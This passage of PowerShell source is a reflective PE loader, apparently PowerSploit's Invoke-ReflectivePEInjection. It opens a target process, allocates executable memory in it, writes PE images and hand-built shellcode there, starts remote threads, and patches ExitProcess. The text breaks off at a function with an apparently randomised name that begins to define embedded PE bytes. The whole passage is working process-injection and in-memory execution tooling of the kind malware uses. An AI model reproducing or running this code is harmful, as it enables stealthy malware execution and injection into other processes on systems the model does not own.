[IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) { "Error, couldn't find _wcmdln or _acmdln" } $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) if ($Success = $false) { throw "Call to VirtualProtect failed" } [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) if ($Success = $false) { throw "Call to VirtualProtect failed" } [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null } } $ReturnArray = @() $ExitFunctions = @() [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") if ($MscoreeHandle -eq [IntPtr]::Zero) { throw "mscoree handle null" } [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") if ($CorExitProcessAddr -eq [IntPtr]::Zero) { Throw "CorExitProcess address not found" } $ExitFunctions += $CorExitProcessAddr [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") if ($ExitProcessAddr -eq [IntPtr]::Zero) { Throw "ExitProcess address not found" } $ExitFunctions += $ExitProcessAddr [UInt32]$OldProtectFlag = 0 foreach ($ProcExitFunctionAddr in $ExitFunctions) { $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr [Byte[]]$Shellcode1 = @(0xbb) [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) if ($PtrSize -eq 8) { [Byte[]]$Shellcode1 = @(0x48, 0xbb) [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) } [Byte[]]$Shellcode3 = @(0xff, 0xd3) $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") if ($ExitThreadAddr -eq [IntPtr]::Zero) { Throw "ExitThread address not found" } $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) if ($Success -eq $false) { Throw "Call to VirtualProtect failed" } $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null } Write-Output $ReturnArray } Function Copy-ArrayOfMemAddresses { Param( [Parameter(Position = 0, Mandatory = $true)] [Array[]] $CopyInfo, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Functions, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Constants ) [UInt32]$OldProtectFlag = 0 foreach ($Info in $CopyInfo) { $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) if ($Success -eq $false) { Throw "Call to VirtualProtect failed" } $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null } } Function Get-MemoryProcAddress { Param( [Parameter(Position = 0, Mandatory = $true)] [IntPtr] $PEHandle, [Parameter(Position = 1, Mandatory = $true)] [String] $FunctionName ) $Win32Types = Get-Win32Types $Win32Constants = Get-Win32Constants $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) { return [IntPtr]::Zero } $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) { $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) if ($Name -ceq $FunctionName) { $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) } } return [IntPtr]::Zero } Function Invoke-MemoryLoadLibrary { Param( [Parameter( Position = 0, Mandatory = $true )] [Byte[]] $PEBytes, [Parameter(Position = 1, Mandatory = $false)] [String] $ExeArgs, [Parameter(Position = 2, Mandatory = $false)] [IntPtr] $RemoteProcHandle, [Parameter(Position = 3)] [Bool] $ForceASLR = $false ) $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) $Win32Constants = Get-Win32Constants $Win32Functions = Get-Win32Functions $Win32Types = Get-Win32Types $RemoteLoading = $false if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) { $RemoteLoading = $true } Write-Verbose "Getting basic PE information from the file" $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types $OriginalImageBase = $PEInfo.OriginalImageBase $NXCompatible = $true if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) { Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue $NXCompatible = $false } $Process64Bit = $true if ($RemoteLoading -eq $true) { $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") if ($Result -eq [IntPtr]::Zero) { Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" } [Bool]$Wow64Process = $false $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) if ($Success -eq $false) { Throw "Call to IsWow64Process failed" } if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) { $Process64Bit = $false } $PowerShell64Bit = $true if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) { $PowerShell64Bit = $false } if ($PowerShell64Bit -ne $Process64Bit) { throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" } } else { if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) { $Process64Bit = $false } } if ($Process64Bit -ne $PEInfo.PE64Bit) { Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" } Write-Verbose "Allocating memory for the PE and write its headers to memory" [IntPtr]$LoadAddr = [IntPtr]::Zero $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE if ((-not $ForceASLR) -and (-not $PESupportsASLR)) { Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue [IntPtr]$LoadAddr = $OriginalImageBase } elseif ($ForceASLR -and (-not $PESupportsASLR)) { Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash." } if ($ForceASLR -and $RemoteLoading) { Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop } if ($RemoteLoading -and (-not $PESupportsASLR)) { Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop } $PEHandle = [IntPtr]::Zero $EffectivePEHandle = [IntPtr]::Zero if ($RemoteLoading -eq $true) { $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) if ($EffectivePEHandle -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" } } else { if ($NXCompatible -eq $true) { $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) } else { $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) } $EffectivePEHandle = $PEHandle } [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) if ($PEHandle -eq [IntPtr]::Zero) { Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." } [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null Write-Verbose "Getting detailed PE information from the headers loaded in memory" $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle Write-Verbose "StartAddress: $(Get-Hex $PEHandle) EndAddress: $(Get-Hex $PEEndAddress)" Write-Verbose "Copy PE sections in to memory" Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types Write-Verbose "Import DLL's needed by the PE we are loading" if ($RemoteLoading -eq $true) { Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle } else { Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants } if ($RemoteLoading -eq $false) { if ($NXCompatible -eq $true) { Write-Verbose "Update memory protection flags" Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types } else { Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" } } else { Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" } if ($RemoteLoading -eq $true) { [UInt32]$NumBytesWritten = 0 $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) if ($Success -eq $false) { Throw "Unable to write shellcode to remote process memory." } } if ($PEInfo.FileType -ieq "DLL") { if ($RemoteLoading -eq $false) { Write-Verbose "Calling dllmain so the DLL knows it has been loaded" $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null } else { $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) if ($PEInfo.PE64Bit -eq $true) { $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) } else { $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) } $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) $SCPSMemOriginal = $SCPSMem Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) if ($RSCAddr -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process for shellcode" } $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) { Throw "Unable to write shellcode to remote process memory." } $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { Throw "Call to CreateRemoteThread to call GetProcAddress failed." } $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null } } elseif ($PEInfo.FileType -ieq "EXE") { [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in." $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null while($true) { [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) if ($ThreadDone -eq 1) { Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants Write-Verbose "EXE thread has completed." break } else { Start-Sleep -Seconds 1 } } } return @($PEInfo.PEHandle, $EffectivePEHandle) } Function Invoke-MemoryFreeLibrary { Param( [Parameter(Position=0, Mandatory=$true)] [IntPtr] $PEHandle ) $Win32Constants = Get-Win32Constants $Win32Functions = Get-Win32Functions $Win32Types = Get-Win32Types $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) { [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) while ($true) { $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) if ($ImportDescriptor.Characteristics -eq 0 ` -and $ImportDescriptor.FirstThunk -eq 0 ` -and $ImportDescriptor.ForwarderChain -eq 0 ` -and $ImportDescriptor.Name -eq 0 ` -and $ImportDescriptor.TimeDateStamp -eq 0) { Write-Verbose "Done unloading the libraries needed by the PE" break } $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) if ($ImportDllHandle -eq $null) { Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue } $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) if ($Success -eq $false) { Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue } $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) } } Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) if ($Success -eq $false) { Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue } } Function Main { $Win32Functions = Get-Win32Functions $Win32Types = Get-Win32Types $Win32Constants = Get-Win32Constants $RemoteProcHandle = [IntPtr]::Zero if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) { Throw "Can't supply a ProcId and ProcName, choose one or the other" } elseif ($ProcName -ne $null -and $ProcName -ne "") { $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) if ($Processes.Count -eq 0) { Throw "Can't find process $ProcName" } elseif ($Processes.Count -gt 1) { $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId Write-Output $ProcInfo Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." } else { $ProcId = $Processes[0].ID } } if (($ProcId -ne $null) -and ($ProcId -ne 0)) { $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) if ($RemoteProcHandle -eq [IntPtr]::Zero) { Throw "Couldn't obtain the handle for process ID: $ProcId" } Write-Verbose "Got the handle for the remote process to inject in to" } Write-Verbose "Calling Invoke-MemoryLoadLibrary" $PEHandle = [IntPtr]::Zero if ($RemoteProcHandle -eq [IntPtr]::Zero) { $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR } else { $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR } if ($PELoadedInfo -eq [IntPtr]::Zero) { Throw "Unable to load PE, handle returned is NULL" } $PEHandle = $PELoadedInfo[0] $RemotePEHandle = $PELoadedInfo[1] $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) { switch ($FuncReturnType) { 'WString' { Write-Verbose "Calling function with WString return type" [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc" if ($WStringFuncAddr -eq [IntPtr]::Zero) { Throw "Couldn't find function address." } $WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) [IntPtr]$OutputPtr = $WStringFunc.Invoke() $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) Write-Output $Output } 'String' { Write-Verbose "Calling function with String return type" [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc" if ($StringFuncAddr -eq [IntPtr]::Zero) { Throw "Couldn't find function address." } $StringFuncDelegate = Get-DelegateType @() ([IntPtr]) $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) [IntPtr]$OutputPtr = $StringFunc.Invoke() $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) Write-Output $Output } 'Void' { Write-Verbose "Calling function with Void return type" [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" if ($VoidFuncAddr -eq [IntPtr]::Zero) { } else { $VoidFuncDelegate = Get-DelegateType @() ([Void]) $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) $VoidFunc.Invoke() | Out-Null } } } } elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) { $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) { } else{ $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions } } if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL") { } else { } Write-Verbose "Done!" } Main } Function Main { if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) { $DebugPreference = "Continue" } Write-Verbose "PowerShell ProcessID: $PID" $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' if ($e_magic -ne 'MZ') { throw 'PE is not a valid PE file.' } if (-not $DoNotZeroMZ) { $PEBytes[0] = 0 $PEBytes[1] = 0 } if ($ExeArgs -ne $null -and $ExeArgs -ne '') { $ExeArgs = "ReflectiveExe $ExeArgs" } else { $ExeArgs = "ReflectiveExe" } if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") { Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) } else { Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName } } Main } function Invoke-RSNKBJUOCAYDM { $PEBytes32 = 